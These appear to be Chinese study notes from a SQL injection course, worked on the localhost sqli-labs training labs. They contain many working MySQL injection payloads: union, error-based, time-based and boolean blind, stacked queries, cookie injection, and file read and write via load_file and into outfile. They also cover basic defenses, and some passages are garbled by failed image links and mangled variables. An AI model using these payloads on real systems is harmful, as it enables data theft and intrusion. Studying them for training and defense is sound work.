使用函数:load_file(文件路径)
后面的路径可以是正常的文件路径+单引号将他括起来,如:load_file(%27c:/d.txt%27);或者是0x+文件路径转化为的16进制数,char转换的字符。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NsK0Qgqs-1681261781701)(sql注入渗透与防御typora图片/image-20230113235046572.png)]
(上图中转为16进制后是本来前面是没有0x的,他是我们自己手动写上去的—为了赋值到load_file()函数中
注意:MySQL中的路径的斜杠是/不是\ (易错)(是向左的斜杠!!)————因为我们电脑的文件路径表示下一级的时候都是用的右斜杠,而右斜杠在mysql中有特殊意义,所以需要用左斜杠来代替或者用\ \ (反正就是在原有的右斜杠后面再加一个右斜杠-转义符)————所以把路径从计算机里面复制下来哟啊进行mysql注入的时候自己要记得修改。
一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置…
写入文件
使用函数:Into Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)
outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径
操作步骤:
在cmd中操作:
1.修改secure_file_priv权限————》通过在www/mysql / my.ini配置文件中加上secure_file_priv=‘’;然后在cmd中输入show global variables like ‘%secure%’ 来查看mysql全局变量的配置
2.在cmd中使用load_file(文件路径),就可以拿到对应路径下的文档里面的信息了
在靶场中操作:
在前提条件都已经满足的情况下:
1.在c盘中自己创建一个文件,里面写一点东西——他的路径是c:/d.txt
2.在靶场第二关网址的后面加上?id=-1%20union%20select%201,load_file(%27c:/d.txt%27),3 ,加上后屏幕上就会返回文件里面的数据
在靶场的网页,右键,点击“查看页面源代码” ,就可以看到上面的页面,能够看到我们植入的语句&查询到的结果————有时候查询出来的数据太多,我们就要通过这种方式查看
3.获取靶场的配置信息–mysql的配置文件中的sql-connections中有一个db-creds.inc的文档,里面存储着用户名&密码
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dQJvZXbN-1681261781701)(sql注入渗透与防御typora图片/image-20230114002154092.png)]
在靶场中向我们的系统写入文件:
1.一开始输入:http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,‘satan’,3 into outfile ‘c:/c.txt’
但是发现报错了,报错原因时因为我们插入的mysql语句后面其实还有MySQL语句LIMIT 0,1——我们插入的语句和他本身含有的语句黏在一起以后产生了语法错误。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kGjaBlK1-1681261781702)(sql注入渗透与防御typora图片/image-20230114004238819.png)]
解决办法:在外面插入的语句后面写上-- ,也就是一个注释符号,把后面的东西给注释掉,这样就没问题了
2.于是写为?id=-1 union select 1,‘satan’,3 into outfile ‘c:/c.txt’-- +
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-s1YbLQtv-1681261781702)(sql注入渗透与防御typora图片/image-20230114004511440.png)]
这是已经没有报错了,然后我们去c盘里面看看:
发现已经存在了,再点击打开查看里面的内容:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dK2rbJ9Z-1681261781703)(sql注入渗透与防御typora图片/image-20230114004731942.png)]
发现内容也时我们写的————虽然把1和3也写进去了,但是这个其实不会影响我们后续写一句话木马什么的效果的
2.6 SQL注入之基础防御
1.魔术引号
魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程(在所有符号(如引号、斜杠)前面添加斜杠/)——也就是我们本来输入的网址在转义后就会变成一个无非被识别的错误网址(php中自带的).
最好在编码时不要转义而在运行时根据需要而转义。
魔术引号的开关在php.ini文件内能找到:
magic_quotes_gpc = On 开启
将其改为
magic_quotes_gpc = Off 关闭
这个魔术引号其实有和没有差不多,因为很容易就能够绕过;而且打开了模式引号会对程序员的编程造成影响。
打开php.ini,按下control+F,打开搜索索magic,找到魔术引号的开关
如果我们打开魔术引号的开关,再像之前那样输入
?id=-1%20union%20select%201,load_file(%27c:/d.txt%27),3 时会发现拿不到结果了——因为我们的路径发生了变化:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BJKvWCFa-1681261781703)(sql注入渗透与防御typora图片/image-20230114122728584.png)]
2.内置函数is_int()(对数据类型进行判断)
不论使用什么语言写的程序,都有一些内置函数做数据类型的过滤判断操作——从而达到防御的目的
**is_int()**等
addslashes()——》和魔术引号的作用一样
mysql_real_escape_string()–已经被弃用
mysql_escape_string()–已经被弃用
在C:\cyberspacesecurityphpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-2\index.php路径下可以找到靶场第二关的源代码
先弄清楚我们第二关mysql注入的本质:
我们在靶场网址的后面添加的额外的东西作为php代码中的id被传入了。
i d = id= id=_GET[‘id’];的意思就是把浏览器中用户输入的id传递进来。
id被传入以后就作为一些mysql语句的参数参与到程序的执行当中了。
原本按照程序员的意思,id就是一些数字,但是没想到我们还参杂了东西———》所以程序员可以设置一个数据类型的判断函数——使用is_string()或者is_int()+数据强制转化
利用is_int()包裹住需要使用$id作为语句中的参数的语句
但是上面的代码也是不能实现的,因为以强制转换以后就把全部输入都转换成int类型了;明白怎么利用函数判断来避免被别人注入一些语句的思路就好!
3.自定义要过滤的关键字(对内容进行判断)
因为我们注入一般是注入一些查询、修改的命令,必然会用到select、update等关键字——》这个时候我们专门去过滤他们就行了——使用str_replace()
str_replace()的用法:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sqB9641j-1681261781704)(sql注入渗透与防御typora图片/image-20230114130420466.png)]
自己在配置文件中写上过滤函数:
再次运行同样的语句,会发现报错了(select被替换掉了):
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-mI0mpv3h-1681261781704)(sql注入渗透与防御typora图片/image-20230114130735072.png)]
但是基础过滤的绕过方式都挺简单的!
真正厉害的是其他安全防护软件 WAF …
2.7sqli-labs安装时的常见问题
1.之前不知道的地方
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tNfmpYmi-1681261781704)(sql注入渗透与防御typora图片/image-20230114131250651.png)]
第三章:数据类型与提交方式
3.1SQL注入之数据类型
我们注入的数据的数据类型是有很多种的,不同的数据类型对应着不同的注入方式。
(总):数字型、字符型、搜索型注入点的判断方式:
回顾我们的注入的步骤一:判断当前网址有没有sql注入点
方法:1.随便乱输-只要他报错了就说明他把我输入的东西当作代码中的参数来执行了----没报错就说明我们的输入被过滤了
2.输入:在正常的输入后面加上and 1=2 ,比如靶场第二关中判断注入点我们可以用id=1 and 1=2 .如果页面此时报错,那么说明有注入点(因为我们and后面的东西被系统读取并执行了,系统才会报错);如果没有报错,那我们就没有办法通过在正常数据后面加上一些自己写的sql语句让系统后台帮我们执行,因为很明显后台把我们的语句过滤掉了。
但是用and 1=2这种方式只适用于数字型注入;比如靶场第一关是一个字符型注入,那么再用and1=2时会发现不报错,不要以为时没有注入点,还需要再尝试!
数字型注入靶场的源码vs字符型注入的靶场源码:
在mysql中有一个很智能的机制:如果一个数据是字符型,那么MySQL会把1后面的数据都过滤掉
对于字符型注入,我们要输入id=1’,原因是这样传入可以使源码发生语法错误(多了一个单引号)
(注意:在mysql中字符可以用单引号括起来,也可以用双引号括起来——》如果源码里面使用的是单引号,那么我们只有输入 id’ 可以使系统报错;如果源码里面使用的是双引号,那么我们只有输入 id" 可以使系统报错(因为要不会被过滤掉)
搜索型注入:
sql中有一个关键字like,并加上%(通配符)——可以实现模糊查询
搜索型注入点的判断使用:y%’ or 1=1#
原理:系统的源代码一般为select * from user where like ‘%y%’;
我们注入y%’ or 1=1#后,源码变为:
输入 or 1=1能够让我们查询改数据库中所有数据——因为他永远为真,那么前面的模糊查询就没有意义了
‘#’和我们之前输入的‘-- ’都是用来把后面念在一起的语句注释掉,防止语法错误。
全部数据都拿到手了
其他型:
其他型也就是闭合符号与上面不同——我们上面的闭合符号无非就是“不需要闭合符号”或”闭合符号是单引号or双引号“or”%“————其他型里面有许多其他的可能出现的闭合符,如:’ ‘’ % ( {
所以:多尝试,把所有类型都尝试一下
根本思路:我自己要注入的代码的结束位置进行半闭合–这样代码传入以后再系统内部就会与系统代码组成全闭合–然后在我们半闭合的代码后面再加上注释符号,防止与源码粘黏导致的语法错误
(1)数字型注入点
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,一般被叫做数字型注入点,缘由是其注入点 id 类型为数字,在大多数的网页中,诸如 查看用户个人信息,查看文章等,大都会使用这种形式的结构传递id等信息,交给后端,查询出数据库中对应的信息,返回给前台。这一类的 SQL 语句原型大概为 select * from 表名 where id=1
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where id=1 and 1=1
(2)字符型注入点
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为 select * from 表名 where name='admin'
值得注意的是这里相比于数字型注入类型的sql语句原型多了引号,可以是单引号或者是双引号。若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where name='admin' and 1=1 '
我们需要将这些烦人的引号给处理掉。
(3)搜索型注入点
这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有 "keyword=关键字"
有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:select * from 表名 where 字段 like '%关键字%'
若存在注入,我们可以构造出类似与如下的sql注入语句进行爆破:select * from 表名 where 字段 like '%测试%' and '%1%'='%1%'
(上面3中注入类型是主流)
(4) xx型注入点(其他类型)
其他型:也就是由于SQL语句拼接方式不同,在SQL中的实际语句为:,其本质为(xx’) or 1=1 # )
常见的闭合符号:’ ‘’ % ( {
3.2 SQL注入之数据提交方式
这一节我们需要讨论的问题是:我们在前端浏览器中输入的数据是怎么提交到后端服务器的,有哪些路径与方式。
一、GET提交方式(常用)
get注入方式比较常见,主要是通过==url(网址)==传输数据到后台,然后再带入到数据库中去执行,可利用联合注入方式直接注入。(sqli-labs靶场第二关)
应用场景:传递的数据不敏感,谁看到都无所谓。
缺点:1.安全性不需要很高
2.传递数据的长度有限(2kb)
优点:传递速度非常快
二、POST提交方式(常用)
post提交方式主要适用于表单的提交(直接传递给服务器),用于登录框
优点:安全性高;长度不限(与get截然相反)
缺点:速度不快
方法:利用BurpSuite抓包进行重放修改内容进行,和get差别是需要借助抓包工具进行测试,返回结果主要为代码,也可转化为网页显示
写法: i d = id= id= _ GET[‘ID’];
小结:get和post的根本区别:
在URL中有显示数据的是get提交;没有显示数据的是post提交。
tip–get和post写法上的区别:
写法: n a m e = name= name= _ POST[‘name’];
三、Request提交方式
概念:超全局变量——PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$ _ REQUEST(获取GET/POST/COOKIE)(注意:COOKIE在新版本已经无法获取了)
$ _ POST(获取POST传参)
$ _ GET(获取GET传参)
$ _ COOKIE(获取COOKIE传参)
$ _ SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)——传输主机IP时一般用它
如果后台是通过request接收的数据的,不管前面是通过URL还是POST传递数据的,我都能够接收。request是get提交和post提交的综合体。
四、HTTP头提交方式
什么是Header头?
通常HTTP消息包括客户机向服务器的请求消息和服务器向客户机响应消息。 这两种类型的消息有一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。 HTTP的头域包括通用头,请求头,响应头和实体头四个部分
cookie提交的写法: c = c= c=_COOKIE[‘S’];
五、什么是Header头部注入?
header注入,该注入是指利用后端验证客户端信息(比如常用的cookie验证)或者通过header中获取客户端的一些信息(比如User-Agent用户代理等其他header字段信息),因为这些信息在某些地方是会和其他信息一起存储到数据库中,然后再在前台显示出来,又因为后台没有经过相对应的信息处理所以构成了sql注入。
3.3 SQL注入靶场案例练习
sqli-labs的第1-6关都是数字类型相关的练习。
1.sqli-labs第11关–post方式
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-F9Uw3Ta4-1681261781705)(sql注入渗透与防御typora图片/image-20230117233811118.png)]
tip:我们上课的时候都是直接看源码怎么写的;但是实战中我们要通过信息收集来判断注入点的。
从源码中,我们可以了解到我们应该使用字符型的注入方式,因为传入参数都用单引号括了起来。
然后我们根据使用了参数 u n a m e 和 uname和 uname和passwd的语句来撰写我们的注入语句:
源码语句为:@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
所以我们就使用注入语句:admin' and 1=1 --+&passwd=admin&submit=Submit 来判断有无注入点(主语语句的编写时记得符号的闭合)
因为没有办法通过网址输入我们想注入的sql语句,所以我们要借助抓包工具来修改:
用burpsuit抓包工具,来抓包修改参数 :
联合查询union 测试回显点:
uname=-admin’ union select 1,2 --+&passwd=admin&submit=Submit
然后就爆库
uname=-admin’ union select 1,database() --+&passwd=admin&submit=Submit
然后一层一层拿到表名、字段名、数据
问题:老师说使用联合查询的时候,必须要让union前面的条件是错误的,这个是为什么啊?
2.sqli-labs第20关——cookie注入
Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)
单引号,报错型,cookie型注入。
源码:
参数uname的使用位置:
存在魔术引号
直接cookie注入,进行绕过
Cookie: uname=-admin’ union select 1,2,database()–+
第四章:查询方式及报错注入
4.1 网页常用的sql语句
当进行SQL注入时,有很多注入会出现无回显的情况,其中不回显得原因可能是SQL语句查询方式问题导致,这个时候我们需要用到==报错或者盲注==进行后续操作,同时在注入的过程中,提前了解其中SQL语句可以更好的选择对应的注入语句。
1.select 查询数据
例如:在网站应用中进行数据显示查询操作
select * from user where id=$id
2.delete 删除数据
例如:后台管理里面删除文章、删除用户等操作
delete from user where id=$id
3.insert 插入数据
例如:在网站应用中进行用户注册添加操作
insert into user(id,name,pass) values(1,'zhangsan','1234')
4.update 更新数据
例如:后台中心数据同步或者缓存操作
update user set pwd='p' where id=1
4.2 SQL注入 报错盲注
盲注就是在注入的过程中,获取的数据不能显示到前端页面,此时,我们需要利用一些方法进行判断或者尝试,我们称之为盲注。我们可以知道盲注分为以下三类:
1.基于布尔的SQL盲注 - 逻辑判断
regexp like ascii left ord mid
2.基于时间的SQL盲注 - 延时判断
if sleep
3.基于报错的SQL盲注 - 报错回显(强制性报错 )
通过我们的输入让页面报错(这样就有回显了),从报错中找到一些数据库信息的蛛丝马迹。
函数解析:
(1)updatexml():从目标XML中更改包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC(也就是我们要更改的文档的名字)
第二个参数:XPath_string (Xpath格式字符串)
第三个参数:new_value是String格式,用于替换查找到的符合条件的数据(用于替换的新文件or新数据)
updatexml(XML_document,XPath_String,new_value);
‘or updatexml(1,concat(0x7e,database()),0)or’
tip:当updatexml函数的第二个参数不是Xpath格式的时候,页面就会报错。所以我们就可以利用这个报错
A.补充:Xpath
XPath即为XML路径语言(XML Path Language),它是一种用来确定XML文档中某部分位置的语言。
数据库5.1以上的版本就增加了数据库能对XML格式进行读取的功能——》这样就能利用extractvalue和updatexml这两个函数的功能。
XML和HTML还挺像的(在XXE漏洞中也有介绍XML)
(2)extractvalue():从目标XML中返回包含所查询值的字符串
第一个参数:XML_document 是String格式,为XML文档对象的名称,文中为DOC(要查询的文档的名称)
第二个参数:XPath_String (Xpath格式字符串)
extractvalue(XML_document,XPath_String)
’ or extractvalue(1,concat(0x7e,database())) or’
’ union select 1,extractvalue(1,concat(0x7e,(select version())))%23
函数应用:
floor()向下取整 floor(10.5) = 10
rand()随机数 0 ~ 1之间
count(*)函数返回表的记录数。
concat函数:将多个字符串连接成一个字符串
group_by 根据by对数据按照哪个字段、进行分组,或者是哪几个字段进行分组(去重)。
会建立一张临时表
注意:多个字段分组要使用某个列的聚合函数 cout sum等
pikachu insert
username=x’ or (select 1 from (select count(*),concat((select))
B.示例
SQL专题靶场第11关
步一:先通过输入username时多添加一个单引号和一个双引号来引发报错,用BP抓取响应包中的报错信息来判断源码中包裹username字段的是单引号还是双引号。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojlLnXdj-1681261781708)(sql注入渗透与防御typora图片/image-20230407125610447.png)]
本来我们正常信息输入的时候输入mc就行;但是我们想要知道包裹uname字段的引号是单引号还是双引号,所以需要故意引发报错,通过语法报错提示来知道源码中到底是使用单引号还是双引号。
为什么要写一个单引号和一个双引号呢?因为如果只写单引号的话,报错信息中会变成一个双引号,有点看不清楚;所以写一个单引号再写上一个双引号的方式最好。
步二:使用extractvalue函数或updatexml函数
法一:使用union+使用extractvalue
1.先使用orderby来猜解数据库表的字段个数
uname=mc' orderby 2# (假设猜解出来数据库表的字段就是只有2个)
2.使用union + extractvalue函数查数据库版本和数据库中的表名
uname=mc' union select 1,extractvalue(1,(select version()))#
如果不使用concat会发现我们想要查询的数据库版本号显示地不完全:只显示了.26
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ElmkS6Hz-1681261781708)(sql注入渗透与防御typora图片/image-20230407145037433.png)]
使用concat就可以把整个数据库版本号逼出来。使用~来进行concat是因为sqlmap工具就是根据 ’~‘来对数据进行扫描的
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fdmK0Bhj-1681261781708)(sql注入渗透与防御typora图片/image-20230407144719734.png)]
接下来去查数据库中的表名:
想查询表名时发现回显点字段大于1行,报错,这时我们要使用limit
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DAdJu97m-1681261781709)(sql注入渗透与防御typora图片/image-20230407150716833.png)]
使用limit:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IqlUxz2b-1681261781709)(sql注入渗透与防御typora图片/image-20230407150922909.png)]
写limit 0,1的时候,就是拿到返回的数据中的第1行字段名(也就是从下标0开始往前拿一行(个)数据)
写limit 1,1的时候,就是拿到返回的数据中的第2行字段名(也就是从1开始往前拿一行数据)
写limit 2,1的时候,就是拿到返回的数据中的第3行字段名
法二:使用union+使用updatexml
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YwBayRhB-1681261781709)(sql注入渗透与防御typora图片/image-20230407152107162.png)]
limit介绍:
SELECT * FROM table LIMIT [offset,] rows
- offset:指定第一个返回记录行的偏移量(即从哪一行开始返回),注意:初始行的偏移量为0。
- rows:返回具体行数。
select * from table_name limit 10;//检索前10行记录
select * from table_name limit 5 ,10;//从第6行开始,检索10行记录,即:检索记录行 6-15
总结:如果limit后面是一个参数,就是检索前多少行。如果limit后面是2个参数,就是从offset+1行开始,检索rows行记录。
法二:使用or
'or updatexml(1,concat(0x7e,database()),0)or'
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KBFWSUYY-1681261781710)(sql注入渗透与防御typora图片/image-20230407152308470.png)]
第一个单引号是为了闭合mc;第二个单引号是为了闭合passwd及其后面的字段。
4.3 基于时间的SQL盲注 - 延时注入
报错注入是可以看到一些报错信息的;而延迟注入我们是看不到任何信息,我们只能数据显示到网页的时间长短来判断结果。
1.知识储备:
sleep(): Sleep 函数可以使计算机程序(进程,任务或线程)进入休眠;休眠时间单位是秒。
if(a,b,c): i f 是 计算机编程语言一个关键字,分支结构的一种
mid(a,b,c): 从b开始,截取a字符串的c位
substr(a,b,c): 从b开始,截取字符串a的c长度(和mid函数基本一样,但mid更强大)
left(database(),1),database() : left(a,b)从左侧截取a的前b位
length(database())=8 : 判断长度
ord=ascii ascii(x)=100: 判断x的ascii值是否为100
tip:substr、mid与limit不一样——substr和mid里面的c参数如果填1的话,代表是从1开始数;而limit中第一个参数填1表示从第二个数字开始抓取。填0才表示从第一个数字开始抓取。
sleep()
在不使用sleep下查询数据所需要的时间:0.03秒
使用sleep可以使查询数据休眠指定时间
为什么是3秒:因为由上图的上一个图可知,t1表中有3行数据,每查询到表中的一个行数据都会sleep1秒,所以最终总共休息3秒。
if(a,b,c)
if(a,b,c):可以理解成c语言中的三目运算符,a条件成立 执行b, 条件不成立,执行c
的
使用if与sleep结合使用:[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FpB8222K-1681261781712)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1646639594000/c7279f60359d4778aa443db53705b252.png)]
达到延时数据显示,从而通过数据显示的时间判断数据对错!
使用靶场less-2来实现延时注入:
ocalhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(database()=%27test%27,0,5))
length()
可以通过length()来判断数据库的长度
http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(length(database())=8,8,0))
sleep(if(length(database())=3,1,2))
mid()
mid(a,b,c): 从b开始,截取a字符串的c位
正是因为我们猜解整一个数据库的库名难度很大,所以我们通过mid函数可以先猜解数据库的某几位。
mid()使用:
使用mid来进行数据库名的猜解:
sleep(if(mid(database()),1,1)='a',0,5);//看database的第一个字符是不是a,如果是,则sleep0秒;如果不是,则休息5秒。
虽然mid()和substr()功能差不多,但是substr()只能截取字符串;而mid不仅可以截取字符串,还可以截取数组。
substr()函数
Substr()和substring()函数实现的功能是一样的,均为截取字符串。
string substring(string, start, length)
string substr(string, start, length)
参数描述同mid()函数,第一个参数为要处理的字符串,start为开始位置,length为截取的长度。
substr()函数使用:
Left()函数
Left()得到字符串左部指定个数的字符
Left ( string, n ) :string为要截取的字符串,n为长度。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cbwFJbgy-1681261781715)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1646639594000/5fc2512b47444fd4a531725e7503a08f.png)]
通过以上函数可以来判断数据信息:http://localhost/sqli-labs-master/Less-2/index.php?id=1%20and%20sleep(if(mid(database(),1,1)=%27t%27,0,5))
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kWfstk2e-1681261781715)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1646639594000/8f63d5b742564ae18fda98666bc7df98.png)]
推荐使用ASCII码,原因如下:
-
防止后台代码中有waf对引号 ‘ “ 进行转义
-
ascii码通用性更强,方便以后工具的使用
使用ascii函数()
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5yekOvAA-1681261781716)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1646639594000/6eea9e36b99d426184f938a0d29d5c85.png)]
结合场景使用:
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=120,sleep(3),0); -- if的两个结果一个是sleep,一个是返回0
-- 还可以用二分法:用if不断猜区间
select * from t1 where id=1 and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>120,sleep(3),0); -- if的两个结果一个是sleep,一个是返回0
select * from t1 where id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=116,sleep(2),0);
-- tip:sleep可以放到里面,也可以放到外面
延时注入的猜解优化:
1.通过截取函数对数据库表名一个个地进行猜解
2.通过length函数得到数据库表名长度来辅助我们进行数据库表名的猜解
4.4布尔盲注
1.什么是布尔盲注?
Web的页面的仅仅有返回True和False两种形式。那么布尔盲注就是进行SQL注入之后,然后根据页面返回的True或者是False来得到数据库中的相关信息(判断我们的猜解是否正确)。
用sqil-lab靶场第五关:
返回True时:
返回False时:页面什么都不显示
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UEIQsPll-1681261781717)(sql注入渗透与防御typora图片/image-20230407180439666.png)]
2.如何进行布尔盲注?
注入流程:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nLkNZQLU-1681261781718)(https://fynotefile.oss-cn-zhangjiakou.aliyuncs.com/fynote/4348/1646720755000/65e35005c1d24fb085b94bf42339e5df.png)]
3.靶场案例演示:
1.猜解数据库名的长度
先猜解长度以后我们才知道我们要猜解多少位数字。
http://127.0.0.1/sql/Less-5/index.php?id=1 and length(database())=8--+
注意:这条命令传入后端代码后,在数据库中执行时会自动判断我们的输入对不对——》所以不要写成length(database())==8
2.猜解数据库的名字
可以用二分法去依次猜解:
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>115--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))>116--+ 非正常
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(mid(database(),1,1))=115--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),2,1))=101--+ 正常
http://127.0.0.1/sql/less-5/index.php?id=1' and ascii(mid(database(),3,1))=99--+ 正常`
如此就得到了
第一个字符的ASCII码为115解码出来为“s”
第二个字符的ASCII码为101解码出来为“e”
第二个字符的ASCII码为99解码出来为“c”
依次类推出数据库的名字为“security”
3.猜解表明名
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114--+
正确
http://127.0.0.1/sql/Less-5/index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=101--+ 正确
注:select下的limit是第几个表。
substr下的是截取的表内容。
当前库下(注入点连接的数据库)第一个表ASCII码为114 解码为r
当前库下(注入点连接的数据库)第一个表ASCII码为101 解码为e
当前库下(注入点连接的数据库)第一个表ASCII码为… 解码为** referer**
盲注总结归纳:
盲注分为三种(也就是没有回显的情况下我们有哪几种方式来判断我们输入的内容是正确还是错误):
1.布尔型盲注: 根据页面返回的真假来判断的即为布尔型盲注
2.时间型盲注: 根据页面返回的时间来判断的即为时间型盲注
3.报错型盲注 :根据页面返回的对错来判断的即为报错型盲注
布尔盲注之前要先看系统库的版本号:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VPYYEzqz-1681261781719)(sql注入渗透与防御typora图片/image-20230407183321699.png)]
mysql大于5.0的版本默认安装后都有INFORMATION_SCHEMA数据 库,INFORMATION_SCHEMA提供了访问数据库元数据的方式,是MYSQL的信息数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。5.0之前的MySQL是没有数据库这个概念的。
4.5加密注入
Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
如果网页传输数据的时候进行了base64加密,那我们进行注入的时候也要先把我们想要注入的语句进行base64的加密,然后再填写到注入点。
Less-21关 Cookie加密注入:
通过Burpsuite抓包:
进行Base64解密(那个%3D就是个等号,用url解密):
base64的加密在生活中和常见,和视频相关的网站一般都会用这个加密方式:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bRyUKKHc-1681261781722)(sql注入渗透与防御typora图片/image-20230407201309797.png)]
4.6 SQL注入之堆叠注入
在SQL中,分号 ;是用来表示一条sql语句的结束,试想一下我们在 以分号结束一个sql语句后面继续构造下一个语句,下一个sql语句会不会一起执行?答案是会!因此这个想法也就造就了堆叠注入。
注意点:
- 但是堆叠注入只适用于mysql;oracle等其他数据库是不支持的。
- 而union injection(联合注入)也是将两条语句合并在一起
两者之间有什么区别?区别就在于union执行语句类型有限,只可以用来执行查询语句;而堆叠注入可以执行的是任意语句(也就是insert、delete都可以使用)。
靶场Less-38:
http://localhost/sqli-labs-master/Less-38/?id=1%27;insert%20into%20users(id,username,password)%20values%20(%2722%27,%27mc%27,%27hello%27)–+
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qI73mYGS-1681261781723)(sql注入渗透与防御typora图片/image-20230407210011603.png)]
4.7 SQL注入之floor\rand报错原理
floor()报错注入的原因是group by在向临时表插入数据时,由于rand()多次计算导致插入临时表时主键重复,从而报错,又因为报错前concant()中的SQL语句或者函数被执行,所以该语句报错而且被抛出的主键是SQL语句或数执行后的结果。
爆出当前数据库
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23 -- 上面这条语句唯一能够修改的地方就是database(),这个地方可以改成我们想要查询的东西。
爆出所有的数据库 通过limit来控制
?id=1' and (select 1 from (select concat((select schema_name from information_schema.schemata limit 4,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出表名
?id=1' and (select 1 from (select concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出字段
?id=1' and (select 1 from (select concat((select column_name from information_schema.columns where table_name='user' limit 0,1),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
爆出数据
?id=1' and (select 1 from (select concat((select username from users),ceil(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
floor报错需要满足的条件:
- floor()报错注入在MySQL版本8.0 已失效,经过测试7.3.4nts也已失效(据说的 本人没有实践过)
- 注入语句中查询用到的表内数据必须>=3条。
- 需要用到的count(*)、floor()缺一不可或者ceil()、rand()、group by缺一不可。
payload语句详解:
?id=1' and (select 1 from (select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x)c)%23
第一个单引号是闭合符;select 1的1先不用管
拆分一次:
select concat((select database()),floor(rand(0)*2))x,count(*) from information_schema.tables group by x
database()是数据库名;information_schema是系统库
再拆分一次:
select
concat(floor(rand(0)*2))x,count(*) //这一段中(floor(rand(0)*2))后面的x是别名
from
information_schema.tables group by x //对伪随机数字段进行分组
讲解:
1.rand()
rand()函数是用于产生0到1之间的随机数的。
rand(0)中的0表示种子值;填上0后,rand(0)产生的数就是固定不变的了(伪随机数)
rand(0)*2:代表在伪随机数的基础上乘以2
floor():是取整函数(向下取整,也就是直接去掉小数部分);
floor(rand(0)*2)就是对伪随机数的2倍进行取整。
select rand(0),id from 表名//查出来的随机数个数等于表中数据个数
